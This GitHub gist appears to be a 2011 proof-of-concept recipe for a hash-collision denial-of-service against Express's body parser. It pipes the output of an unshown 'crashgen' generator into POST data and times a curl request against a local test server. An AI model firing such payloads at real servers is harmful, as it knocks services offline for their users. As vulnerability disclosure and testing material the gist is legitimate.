Skip to content

Instantly share code, notes, and snippets.

@einaros
Created December 30, 2011 14:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save einaros/bac23f077b90f835f0a7 to your computer and use it in GitHub Desktop.
Save einaros/bac23f077b90f835f0a7 to your computer and use it in GitHub Desktop.
g++ -O3 crashgen.cpp -o crashgen
./crashgen > crash
^C
perl -p -e 's/\s+$/=1&/g' crash > postdata
cat>test.js <<EOF
var express = require('express');
var app = express.createServer();
app.use(express.bodyParser());
app.listen(9999);
app.post('/', function(req, res) {
res.end(Object.keys(req.body).length + ': ok\n');
});
EOF
npm install express
node test.js &
time curl -d @postdata http://localhost:9999
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment